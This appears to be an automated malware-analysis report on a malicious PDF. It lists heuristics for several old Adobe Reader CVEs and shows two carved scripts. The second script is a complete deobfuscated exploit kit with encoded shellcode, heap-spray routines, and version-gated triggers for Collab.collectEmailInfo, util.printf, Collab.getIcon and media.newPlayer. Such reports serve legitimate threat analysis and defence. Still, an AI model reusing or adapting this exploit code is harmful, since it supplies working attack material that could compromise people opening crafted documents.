Malicious PDF — malware analysis report

Static analysis result for SHA-256 a9c7b1ee81de05ba…

MALICIOUS

PDF

25.3 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: fe14eb87d4d5bf42d299033ebab77129 SHA-1: b291b0ac86814839b81e27e89223eb077ebb6350 SHA-256: a9c7b1ee81de05bab6651d1d6ee6d4f6e53e2c4b158deb5db47dedb023e8fa94
516 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript is obfuscated using String.fromCharCode, a common technique to evade static analysis. The embedded JavaScript is likely intended to execute malicious code or download a second-stage payload. The file's authoring application and creation date appear to be malformed, further suggesting suspicious origins.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 551 bytes
SHA-256: 6bd75df010bc29a5f33550edfff31505c37fff930309f684bb7dec2884c824dc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
zain='';
var q = date.getFullYear()-2007;
ndfr='2011s'.replace(date.getFullYear(),'hi');
jotry=('tit2011').replace(date.getFullYear(),'le');
g=new Function('a','return t'+ndfr+'[a]');
var fjvl = g(jotry);
kcy=('sub2011').replace(date.getFullYear(),'ject');
var rpkh=g(kcy).replace(date.getFullYear(),'al');
dor=g(rpkh);
ohk='pro2011cer';
ohk=dor('ohk.replace(date.getFullYear(),"du")');
rbsc=dor(g(ohk));
kqd = dor(fjvl);
for (i = 0; i < kqd.length; i++) {
	grio = kqd[i];
	zain += rbsc(grio);
}
dor(zain);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title arithmetic JavaScript at offset 0x2F0 3636 bytes
SHA-256: f9aea5437a5e7ab2848b6251129d090bc3a3a4003a8e4c9494816bf06b0781c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u37b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u4334%ue2aa%uc3fa%ue5e8%uffff%uaaff%u424f%u4343%uc21d%u1faf%u4342%uca43%ucea4%u530c%u2cce%u7217%u1498%u1012%u1010%u1010%u1010%u1016%u2b10%u4247%u4343%u1516%u2b10%u2d2c%u4343%u362b%u2f31%u172e%ucd2b%u4d0d%uabaf%u430b%u4343%uab13%u433f%u4343%u93bc%u87c0%u2b4b%uac0c%u460c%uab13%u432f%u4343%u93bc%u83c6%u5436%u1729%ub01a%u2be9%ubd31%u55f0%u5eab%u4343%u1343%u12ab%u4343%ubc43%u1093%ubd29%uca2b%u422c%uabfe%u434b%u4343%uab13%u437f%u4343%u93bc%u7223%u2783%u13c8%uc873%u4f11%u11c8%uc857%u6b31%u5bfa%u4343%u7243%u72bc%uef83%u227f%u413f%u636f%u8c82%u424e%ua184%uc2b3%u18bc%u09ff%uc829%u5301%u51c8%u9a36%u07ca%u5f67%u8022%uc823%u672f%uc867%u7f06%u17c8%u3b46%ua942%u09c8%uc85b%u6319%ua842%u77a0%uc80a%uc877%uad42%ubc72%u8372%uefbf%u83c7%u4437%u8c82%u424e%ua884%u78b7%u673f%u366b%uc8a2%u6719%ua842%uc825%u084f%u19c8%u425f%uc8a8%uc847%uab42%u07ca%u5f67%u8122%u434b%uacab%ubcbd%u2bbc%u3737%u7933%u6c6c%u2d36%u2e21%u206d%u6d2c%u2020%u276c%u336d%u332b%u257c%u717e%u6575%u7e26%u4370';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.